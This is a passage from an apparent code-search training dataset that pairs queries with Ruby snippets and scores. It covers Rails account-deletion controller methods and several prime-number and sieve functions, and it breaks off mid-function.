end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n \n keystone.delete_tenant(keystone.get_tenant(params[:id])[:id])\n\n respond_to do |format|\n format.html { redirect_to tenants_url }\n format.json { head :ok }\n end\n end", "def destroy\n @account = current_user.accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to(accounts_url) }\n format.xml { head :ok }\n end\n end", "def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend", "def destroy\n @account = User::Account.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_accounts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_account = UserAccount.find(params[:id])\n @user_account.destroy\n\n respond_to do |format|\n format.html { redirect_to user_accounts_url }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end", "def destroy\n Account.destroy params[:id]\n redirect_to accounts_path\n end", "def delete!\n resource = self.class::RESOURCE % { account_id: account.id, id: id }\n response = Request.new(account.client, :delete, resource).perform\n from_response(response.body[:data])\n end", "def destroy\n @account = current_user.person.blackberry_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end", "def destroy\n @inc_stable_account.destroy\n respond_to do |format|\n format.html { redirect_to inc_stable_accounts_url, notice: 'Inc stable account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account = Account.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to(accounts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @account = Account.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to(accounts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @account = Account.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to(accounts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @account = Admin::Account.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_accounts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @account = current_user.accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_accounts_url(current_user)) }\n format.xml { head :ok }\n end\n end", "def destroy\n response = @account_api.destroy(params[:id])\n respond_to do |format|\n if response[:status] == 200\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n else\n format.html { redirect_to accounts_url, alert: formatted_error_message(response).join(\"<br/>\").html_safe }\n format.json { render json: response[:body], status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @account.destroy\n redirect_to root_path\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @heroku_account.destroy\n respond_to do |format|\n format.html { redirect_to heroku_accounts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @account = Account.find(params[:id])\n @account.destroy\n \n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.xml { render :nothing => true }\n end\n end", "def destroy\n @account = current_user.person.iphone_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end", "def destroy\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n if ( user )\n account = Account.find_by(user_id: user[\"id\"], id: params[:id])\n \n if ( account == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n\n if account.destroy\n render json: :nothing, status: :ok\n else\n render json: :nothing, status: :unprocessable_entity\n end\n else\n render json: :nothing, status: :unprocessable_entity\n end\n end", "def destroy\n\t\t@account = Account.find(params[:id])\n\t\t@account.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to accounts_url }\n\t\t\tformat.json { head :ok }\n\t\tend\n\tend", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to project_accounts_url(@project), notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @core_account.destroy\n respond_to do |format|\n format.html { redirect_to core_accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { redirect_to action: :section, status: 303 }\n end\n end", "def destroy\n @email_account.destroy\n respond_to do |format|\n format.html { redirect_to email_accounts_url }\n format.json { head :no_content }\n end\n end", "def delete_account(id)\n res = delete(\"/api/v2/accounts/#{id}\")\n res.is_a?(Array) ? res[0] : res\n end", "def destroy\n @personal_account = PersonalAccount.find(params[:id])\n @personal_account.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_accounts_url }\n format.json { head :ok }\n end\n end", "def delete_account(id)\n delete(\"accounts/#{id}\")\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account = current_user.person.gmail_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end", "def destroy\n @accounting_account.destroy\n respond_to do |format|\n format.html { redirect_to accounting_accounts_url, notice: 'La cuenta ha sido eliminada.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tr_account = TrAccount.find(params[:id])\n @tr_account.destroy\n\n respond_to do |format|\n format.html { redirect_to tr_accounts_url }\n format.json { head :ok }\n end\n end", "def destroy\n @insta_account.destroy\n respond_to do |format|\n format.html { redirect_to insta_accounts_url, notice: 'Insta account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @synthetic_account.destroy\n respond_to do |format|\n format.html { redirect_to synthetic_accounts_url, notice: 'Synthetic account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @a_account.destroy\n respond_to do |format|\n format.html { redirect_to a_accounts_url, notice: 'AAccount was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_account.destroy\n respond_to do |format|\n format.html { redirect_to my_accounts_url, notice: 'My account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account = current_user.person.phone_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to(user_accounts_path(current_user)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @capital_account = CapitalAccount.find(params[:id])\n @capital_account.destroy\n\n respond_to do |format|\n format.html { redirect_to capital_accounts_url }\n format.json { head :ok }\n end\n end", "def destroy\n @account.destroy\n authorize @account, :destroy?\n respond_to do |format|\n format.html do\n redirect_to accounts_url, notice: \"Account was successfully destroyed.\"\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @kakao_account.destroy\n respond_to do |format|\n format.html { redirect_to kakao_accounts_url, notice: 'Kakao account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account = current_user.person.linked_in_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end", "def destroy\n @user_account.destroy\n respond_to do |format|\n format.html { redirect_to user_accounts_url, notice: 'User account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @baka_account.destroy\n respond_to do |format|\n format.html { redirect_to baka_accounts_url, notice: 'Baka account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @oauth_account.destroy\n respond_to do |format|\n format.html { redirect_to oauth_accounts_url, notice: 'Oauth account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @account = Account.find(params[:id])\n @account.user.destroy\n # redirect_to accounts_path\n # render :index\n # redirect_to '/'\n redirect_to accounts_url\n\n # respond_to do |format|\n # format.html { redirect_to accounts_url }\n # format.json { head :no_content }\n # end\n end", "def destroy\n @analytic_account.destroy\n respond_to do |format|\n format.html { redirect_to analytic_accounts_url, notice: 'Analytic account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @company_account = CompanyAccount.find(params[:id])\n @company_account.destroy\n\n respond_to do |format|\n format.html { redirect_to company_accounts_url }\n format.json { head :ok }\n end\n end", "def delete\n render json: User.delete(params[\"id\"])\n end", "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to admin_accounts_alumnis_path, notice: 'Alumni was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n Rauth::Bridge.destroy_account(@user)\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n current_user.destroy\n json_response({ message: Message.account_deleted }.to_json)\n end" ]
[ "0.76637536", "0.7554775", "0.7551643", "0.73527706", "0.73527706", "0.7347585", "0.7347585", "0.7347585", "0.72816485", "0.72816485", "0.72570074", "0.71952045", "0.7174108", "0.71412545", "0.71045244", "0.709996", "0.7099952", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7061333", "0.7059114", "0.7053367", "0.70495147", "0.704093", "0.7037225", "0.7030281", "0.70198", "0.7007765", "0.6994201", "0.69775426", "0.69775426", "0.69767916", "0.6964108", "0.6950804", "0.6939704", "0.69384927", "0.6938075", "0.6938075", "0.6938075", "0.6938075", "0.69330245", "0.69326705", "0.69309914", "0.69226295", "0.6912633", "0.69122016", "0.69049525", "0.6901254", "0.6899235", "0.6890035", "0.68837374", "0.6881244", "0.68808347", "0.6873444", "0.68725055", "0.68646055", "0.68613744", "0.6860644", "0.6852759", "0.685198", "0.6847601", "0.6843998", "0.6843527", "0.68348825", "0.6833076", "0.6829916", "0.6818314", "0.6811243", "0.6806838", "0.68060064", "0.6800647", "0.6799726", "0.67989117", "0.6794588", "0.67931247", "0.67892224" ]
0.73283815
13
Calculating all primes below 2,000,000 requires a better algorithm. We will use an array with all 1,000,000 natural, odd numbers. Each time a prime is found, the array will remove all numbers along those steps.
def is_prime?(n) (2..(n-2)).detect{ |i| n % i == 0 } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def primes\n arr=Array.new\n arr[1]=false\n (2..1000).each {|i| arr[i]=true}\n (2..1000).each {|i| (i/2).floor\n (2..1000).each {|j| (j/i).floor\n arr[i*j] = false\n }}\n for i in 1..1000\n if arr[i] == true\n puts i\n end\n end\nend", "def primes()\n return [] if @number < 2\n # build Boolean array to use for sieve with buffer to align indices\n sieve_array = Array.new(2, false) + Array.new(@number-1, true)\n # perform Sieve of Eratosthenes eliminations\n (2..Math.sqrt(@number).to_i).each do |i|\n (i**2..@number).step(i) {|j| sieve_array[j] = false} if sieve_array[i] == true\n end\n # return numbers by corresponding index that are still true\n (2..@number).collect {|index| index if sieve_array[index] == true}.compact\n end", "def find_prime_numbers(num)\n\tarr =[]\n (2..num).each{|x| arr.push(x)}\n\n i = 0\n p = arr[i]\n\n while p != arr[-1]\n\t arr.delete_if{|n| n%p == 0 && n != p}\n\t i+= 1\n\t p = arr[i]\n end\n return arr\nend", "def primes(num)\n\twhole_array = (2..num).to_a\n\tprime_array = [whole_array.shift]\n\n\tuntil whole_array == []\n\t\twhole_array.delete_if { |x| x % prime_array.last == 0 }\n\t\tprime_array << whole_array.shift\n\tend\n\tprime_array\nend", "def primes_up_to(limit)\n root_limit = Math.sqrt(limit)\n values = (2..limit).to_a\n j = 0\n candidate = values[j]\n while candidate < root_limit\n values.delete_if { |i| (i % candidate == 0 and i != candidate) }\n j+=1\n puts \"#{j}: #{values.length} values remain\"\n candidate = values[j]\n end\n values\nend", "def primes_up_to(max)\n repository = (0..max).collect{true} #=> Create flag array\n limit = (max ** 0.5) #=> establish search limit\n\n for index in 2..limit #=> search through flag aray\n next if !repository[index]\n num = (index * 2)\n while num <= max #=> unflag multiples of primes\n repository[num] = false\n num += index\n end\n end\n\n # => convert numbers into arrays\n primes = repository.collect.with_index do |flag, value|\n value if flag\n end\n\n # return cleaned array\n primes.shift\n primes.shift\n primes.compact\nend", "def prime_numbers(range)\n ar = range.to_a\n ar2 = [nil, nil] + [true] * ar.size\n\n i = 2\n while i <= Math.sqrt(ar.max).to_i\n if ar2[i]\n z = i * i\n while z <= ar.max\n ar2[z] = false\n z += i\n end\n end\n i += 1\n end\n ar.delete_if { |e| ar2[e] == nil || ar2[e] == false }\nend", "def prime_numbers(limit = 1_000_000)\n all_numbers = Hash[(2..limit).map { |v| [v, 0] }]\n\n border = Math.sqrt(limit).to_i\n\n next_prime = 1\n while next_prime < border\n next_prime = all_numbers.find { |_, v| v.zero? }[0]\n\n all_numbers[next_prime] = -1\n\n all_numbers.each do |key, value|\n all_numbers.delete key if value.zero? && (key % next_prime).zero?\n end\n end\n all_numbers.keys\nend", "def sieve(n) # quickly makes array of all primes from 2 to n\n s = 3.step(n, 2).to_a # make array of odd integers from 3 to n. Skip evens. \n s.each do |p|\n next if p.nil? # go to next element if p has been marked empty\n break if p * p > n # p only needs to go up to sqrt(n)\n\n k, pval = 0, 0\n\n while pval < n\n pval = p * (p + k) # jump forward 2p at a time: p*p, p*p + 2p, p*p + 4p, etc.\n\n # Set all those multiples to nil. i = (pval - 3)/2 translates pvals to index i\n\n s[(pval - 3) / 2] = nil \n k += 2 \n end\n\n end\n s.compact! # removes all nil elements from array\n s.unshift(2).sort # adds 2 as 1st element\nend", "def compute_primes\n nums = (@max_checked..@max_checked * 2).map { |x| x.odd? ? x : nil }.to_a\n 1.upto(@primes.index { |p| p * p > @max_checked * 2 }) do |i|\n start_idx = -@max_checked % @primes[i] # prime[i]'s 1st multiple's index\n\n (start_idx..nums.size).step(@primes[i]) { |x| nums[x] = nil }\n end\n @max_checked *= 2\n @primes += nums.compact\n end", "def prime(number)\n primes = (2..number).to_a\n (2..number).each do |int|\n (2..int).each do |n|\n if ( int % n == 0) && n != int\n primes.delete(int)\n break\n end\n end\n end\n primes\nend", "def getPrimes()\n oldlimit = $primelimit + 1\n $primelimit *= 2\n\n for i in oldlimit...$primelimit\n isPrime = true\n $primes.each do |p|\n if i % p == 0\n isPrime = false\n break\n end\n end\n if isPrime\n $primes << i\n end\n end\n\nend", "def prime_numbers(array_input)\n prime_array = (2..(array_input)).to_a\n i = 0\n while (i < prime_array.length)\n prime_array.delete_if do |number|\n (number % prime_array[i] == 0) & (number != prime_array[i])\n end\n i += 1\n end\n prime_array\nend", "def primes_upto(n)\n primes = (2..n).to_a\n\n primes.each do |prime|\n primes.keep_if { |x| x % prime != 0 || x == prime }\n end\n\n return primes\nend", "def p10\n\tprimes = []\n\tPrime.each do |prime|\n\t\tbreak if prime >= 2000000\n\t\tprimes << prime\n\tend\n\t# puts primes\n\tprimes.reduce(:+)\nend", "def primes_up_to(num)\n\n\tcross_limit = Math.sqrt(num).floor\n\n\t# create a new array with num number of elements, each set as true\n\tprime_bools = Array.new(num, true)\n\n\tprime_bools.each_with_index do |is_prime, i|\n\t\t# we can stop once our steps are at the square root of the limit\n\t\tbreak if i >= cross_limit\n\n\t\t# skip first step (0+0+1 steps over everything) and\n\t\t# non-prime steps, as they're redundant\n\t\tnext if i == 0 || !is_prime\n\n\t\t# set each bool we step over to false, starting at i+i+1, which\n\t\t# ensures we keep the first primes true \n\t\t(i+i+1 .. num).step(i+1) { |i| prime_bools[i] = false }\n\t\t# puts \"removed #{i+1}s #{prime_bools.each_index.select { |i| prime_bools[i] }.map { |j| j+1 }.drop(1)}\"\n\tend\n\n\t# select all the remaining trues from prime_bools\n\tprime_bools = prime_bools.each_index.select { |i| prime_bools[i] }\n\n\t# map the prime_bools to their index/number and drop the 1 (not a prime)\n\tprimes = prime_bools.map { |i| i+1 }.drop(1)\n\nend", "def sieve_of_erastothenes2(n)\n primes = (2..n).to_a\n\n (2..n).each do |number|\n if primes[number]\n multiples(number, n).each do |multiple|\n primes.delete(multiple)\n end\n end\n end\n\n primes\nend", "def find_primes(limit)\n num_array = (2...limit).to_a\n num_array.each_with_index do |val, index|\n if val\n index += val\n while index < limit-2\n num_array[index] = nil\n index += val\n end\n else\n next\n end\n end\n num_array.compact\nend", "def t_primes()\n t_primes = []\n 10.step do |i| # Skip all one-digit numbers.\n next unless i.prime?\n digits = i.to_s.chars\n cp_digits = digits.dup # Copy the digits as we will operate on\n # this array twice.\n lftrt = rtlft = digits.length\n # A number is a left-truncatable prime if all its leading digits\n # (that is, the digit in the most significant place), when succ-\n # essively removed, all resulting numbers are prime.\n lftrt.times do\n cp_digits.shift\n break unless cp_digits.join.to_i.prime?\n end\n # If cp_digits still has elements in it, that means those elements\n # weren't prime themselves.\n next unless cp_digits.length.zero?\n cp_digits = digits.dup\n rtlft.times do\n cp_digits.pop\n break unless cp_digits.join.to_i.prime?\n end\n next unless cp_digits.length.zero?\n t_primes << i # Found a two-sided truncatable prime!\n break if t_primes.size == 11\n end\n return t_primes\nend", "def collect_primes(number)\n \n sieve = [nil, nil] + (2 .. number).to_a\n \n (2 .. Math.sqrt(number)).each do |n|\n next unless sieve[n]\n (n*n).step(number, n) do |num|\n sieve[num] = nil\n end\n end\n \n primes = []\n sieve.each do |x|\n if x != nil\n primes << x\n end\n end\n return primes\nend", "def eratosthenes_sieve(max_number)\n numbers = (0..max_number+1).to_a\n bound = Math.sqrt(max_number).to_i\n\n (2..bound+1).each do |current|\n if numbers[current]\n (current+current..max_number+1).step(current).each do |j| numbers[j] = nil end\n end\n end\n\n return numbers.compact![2..-1]\nend", "def sieve_of_eratosthenes(max)\nsieve = []\nfor i in 2 .. max\n sieve[i] = i\nend\n\nfor i in 2 .. Math.sqrt(max)\n next unless sieve[i]\n (i*i).step(max, i) do |j|\n sieve.delete(sieve[j])\n end\nend\n\nend", "def problem_77a\n primes = Primes.upto(100)\n\n # off is the offset in the prime array, we can work down :-)\n solve = lambda do |a,off,max|\n n = 0\n while a[off] < max && (a.length-off) >= 2 \n a[off] += a.pop\n n += 1 if (a & primes).length == a.uniq.length\n n += solve.call(a.dup,off+1,a[off]) if a.length - off > 1\n end\n n\n end\n m = 0\n (2..100).each do |num|\n break if (m = solve.call([1] * num,0,num-1)) > 5000\n puts \"#{num} => #{m}\"\n end\n m\nend", "def eratosthenes_sieve(nth_prime)\n top = nth_prime * 10\n # this is really kludgy, you might have to increase 10 if you want\n # nth primes above 10k. It seems to work fine for all numbers under\n # 10k. I need to read up on prime number theory to find out when this fails.\n sieve = []\n (2..top).each { |i| sieve[i] = i }\n for i in 2 .. Math.sqrt(top)\n next unless sieve[i]\n (i*i).step(top, i) do |j|\n sieve[j] = nil\n end\n end\n sieve.compact[nth_prime]\nend", "def sieveOfErathosthenes(limit)\n\ta = Array.new(limit, true) \n\tsqLimit = limit ** 0.5\n\t2.upto(sqLimit) do |x|\n\t\tif(a[x]) then\n\t\t\tj = x ** 2\n\t\t\twhile(j < limit)\n\t\t\t\ta[j] = false\n\t\t\t\tj += x\n\t\t\tend\n\t\tend\n\tend\n\ta[0], a[1] = false, false\n\ta\nend", "def primes\n range = (min..max).to_a\n primes = (min..max).to_a\n\n range.each do |mod|\n primes.delete_if do |num| \n composite?(num, mod) unless num == mod\n end\n range = primes\n end\n primes\n end", "def prime_series\n t = self\n limit = Math.sqrt(t)\n a = (2..t).to_a\n n = 2\n while (n < limit) do\n x = n*2\n begin\n a[x-2]=2\n x+=n\n end until (x > t )\n begin\n n+=1\n end until ( a[n-2] != 2 )\n end\n a.uniq!\n end", "def pretentious_primes(arr, num)\n new_arr = []\n if num > 0\n arr.each do |ele|\n i = ele + 1\n count = 0\n while true\n if is_prime?(i)\n count += 1\n end\n if count == num\n new_arr << i\n break\n end\n i += 1\n end\n end\n else\n num = -1 * num\n end\n new_arr\nend", "def prime_number(n)\n res = []\n prime = Array.new(n + 1, true)\n (2..n).each do |x|\n num = x * x\n break if num > n\n\n if prime[x]\n (num..n).step(x).each do |multiples|\n prime[multiples] = false\n end\n end\n end\n \n (2..n).each do |primes|\n res << primes if prime[primes]\n end\n res\nend", "def bc_get_prime_numbers(size)\n n = 1\n primes = []\n notprime = Hash.new\n\n until primes.size > size do\n\n n+=1\n\n # if I am known not prime, continue\n if notprime[n] then next end\n\n # check to see if I'm prime (abort instantly on finding divisor)\n (2..Math.sqrt(n)+1).each{|i| print \"Checking #{n} vs #{i}\\n\"; if n%i==0 then notprime[n]=1; print \"NOT A PRIME!\\n\"; next; end}\n\n # I'm prime, so add me to array + mark my multiples as being not\n # prime, but the fewer primes I need to get, the fewer multiples I\n # mark\n\n primes.push(n)\n (2..(size-primes.size())).each{|i| notprime[i*n] = 1}\n end\n primes\nend", "def exclude_prime_numbers\n numbers = (1..100).to_a\n\n #=> [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97]\nend", "def primes_upto(limit)\n numbers = (2..limit).to_a\n numbers.each do |prime|\n if prime\n nonprime = prime + prime\n while nonprime <= limit\n numbers[nonprime - 2] = nil\n nonprime += prime\n end\n end\n end\n numbers.compact\nend", "def listOfPrimesUnderX (x)\n\n#Generate list of numbers 2 through x\n\nnumberList = []\nnumberList = (2..x).to_a\n\n# Create a loop that, first, removes the first number's multiples from numberList\n# and that loops up to the square root of x\n\nprimeList = []\n\n\nwhile numberList[0] < Math.sqrt(x)\n\n\tprimeList << numberList[0]\n\ty = numberList[0]\n\n\tnumberList.delete_if {|a| a % y == 0}\n\nend\n\n# now we have two arrays: primeList, which contains all primes up to the square root of x, and numberList\n# which contains primes between the square root of x and x\n# first we combine them to a single array, primeList, which contains all primes up to x\n\nprimeList = primeList + numberList\n\nreturn primeList\n\nend", "def all_primes(number)\n primes = []\n (2...number).each do |num|\n if prime?(num)\n primes << num \n end\n end\n primes\nend", "def primes(n)\n result = []\n i = 2\n while i <= n\n j=2\n prime = true\n while j<=i**0.5\n (prime = false) if i%j==0\n j += 1\n end\n (result << i) if prime\n i +=1\n end\n return result\nend", "def primeArray(number)\n @sieve = Array.new(number)\n \n for count in 2..Math.sqrt(number)\n next if @sieve[count]\n \n for inner_count in 2..number/count\n @sieve[count * inner_count] = true\n end\n end\n @sieve\nend", "def squared_primes(array)\n array.find_all{|x| (2..x-1).select(){|i| x % i == 0}.count == 0 && x > 1}.map{|p| p*p}\n\n\n # primes = []\n # array.each do |x|\n # 2.upto(x-1) do |i|\n # if x % i == 0 && x > 2\n # primes << x*x\n # end\n # end\n # end\n # primes\n\n # primes= []\n # array.find_all do |x|\n # if x == 2\n # primes << 2*2\n # end\n\n # if x > 2 && (x % 2 != 0)\n # #(2..x-1).select()\n # # if x % 2 != 0 && x > 1\n # #{|i| x % i == 0}\n # #x.count == 0 && x > 1\n # primes << x * x\n # #end\n # end\n # end\n # # new_array.map{|p| p*p}\n # primes\nend", "def get_primes(limit)\n primes = []\n (2...limit).each do |number|\n primes << number if is_prime?(number)\n end\n primes\nend", "def primes\n\t\t# primes = []\n\t\t# primes << 2\n\t\tprimes = [2] # combined previous two lines\n\t\tx = 3\n\n\t\tloop do\n\t\t\tbreak if primes.length == @n_primes # End loop when desired number has been calculated\n\t\t# while primes.length < @n_primes # Alternative 1 to loop do, break\n\t\t# until primes.length == @n_primes # Alternative 2 to loop do, break\n\t\t\ty = 3\n\t\t\ty += 2 until x % y == 0 # Loop to test if x is divisible by any odd number below it, y\n\t\t\tprimes << x if x == y # If the (odd) number was not divisible by any (odd) below itself, it is a prime\n\t\t\tx += 2\n\t\tend\n\n\t\treturn primes\n\tend", "def primes_under(n)\n candidates = (3..n).step(2).to_a\n primes = [2]\n\n until primes.last > n ** 0.5\n primes << candidates.shift\n candidates.reject! {|candidate| candidate % primes[-1] == 0}\n end\n\n primes + candidates\nend", "def primes_to_n n\n non_primes = []\n non_primes[1] = 1\n (2..(n/2)).each do |factor|\n ((factor*2)..n).step(factor).each do |multiple_of_factor|\n non_primes[multiple_of_factor] = 1\n end\n end\n (1..n).reject {|i| non_primes[i]}\nend", "def sieve(n)\n\tprimes = []\n\ta = Array.new(n, true)\n\t2.step(Math.sqrt(n).to_i) do |i|\n\t\tif a[i]\n\t\t\tprimes.push(i)\n\t\t\t\n\t\t\ti.step(n-1, i) do |k|\n\t\t\t\ta[k] = false\n\t\t\tend\n\t\tend\n\tend\n\n\tMath.sqrt(n).to_i.step(n-1) do |i|\n\t\tif a[i]\n\t\t\tprimes.push(i)\n\t\tend\n\tend\n\n\treturn primes\nend", "def exclude_prime_numbers\n numbers = (1..100).to_a\n\n numbers.reject { |number| !Prime.prime? number }\n #=> [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97]\nend", "def primes_upto( xmax )\n # primes have no factors except for 1 and self\n primes = [ 2 ]\n ( 3..xmax ).each do |i|\n puts i if 0 == ( i % 1000 )\n is_prime = true\n primes.each do |p|\n break if p > ( i / 2 )\n if 0 == ( i % p )\n is_prime = false\n break\n end\n end # p\n primes << i if is_prime\n end # i\n return primes\nend", "def primes\n return [] if max_prime < 2\n\n candidates.each do |prime,_|\n # skip numbers we already know NOT to be prime (from previous iterations)\n next if candidates[prime] != :prime\n\n # find the prime number candidates greater than the current prime number\n candidates.select { |n,_| candidates[n].eql?(:prime) && n > prime }\n .each do |num,_|\n # mark numbers evenly divisible by the current prime as NOT PRIME\n @candidates[num] = :not_prime if (num % prime) == 0\n end\n end\n\n # convert numbers still marked as prime to an array of numbers\n candidates.map { |num,value| num if value.eql? :prime }.compact\n end", "def eratosthenes(n)\r\n array = Array.new((n), true);\r\n index = 2\r\n primes_sum = 0\r\n\r\n until index >= n\r\n j = 0\r\n if array[index]\r\n ((index*2)..(n)).step(index+j) do |j|\r\n array[j] = false;\r\n end\r\n primes_sum += index\r\n end\r\n index += 1\r\n end\r\n primes_sum\r\nend", "def sieve(n)\n primes = nil\n\n OpenTracing.global_tracer.start_active_span(\"sieve\") do |scope|\n # don't really want the first two, but matching index to value makes it easier\n primes = [*0..n]\n primes[0] = nil\n primes[1] = nil\n\n for x in primes do\n next if x.nil? # already marked as composite, skip to the next one\n\n # find all the composites from this number and make them nil\n (2*x..n).step(x) do |c|\n primes[c] = nil\n end\n end\n\n # remove the nils from the array\n primes = primes.compact\n\n # tag the number of primes found\n scope.span.set_tag(\"primes.count\", primes.count)\n end\n\n primes\nend", "def prime_numbers\n s = (0..self).to_a\n s[0] = s[1] = nil\n s.each do |p|\n next unless p\n break if p * p > self\n (p*p).step(self, p) { |m| s[m] = nil }\n end\n s.compact\n end", "def sieve2(n)\n\tprimes = []\n\ta = Array.new(n, true)\n\t2.step(n-1) do |i|\n\t\tif a[i]\n\t\t\tprimes.push(i)\n\t\t\t\n\t\t\ti.step(n-1, i) do |k|\n\t\t\t\ta[k] = false\n\t\t\tend\n\t\tend\n\tend\n\n\treturn 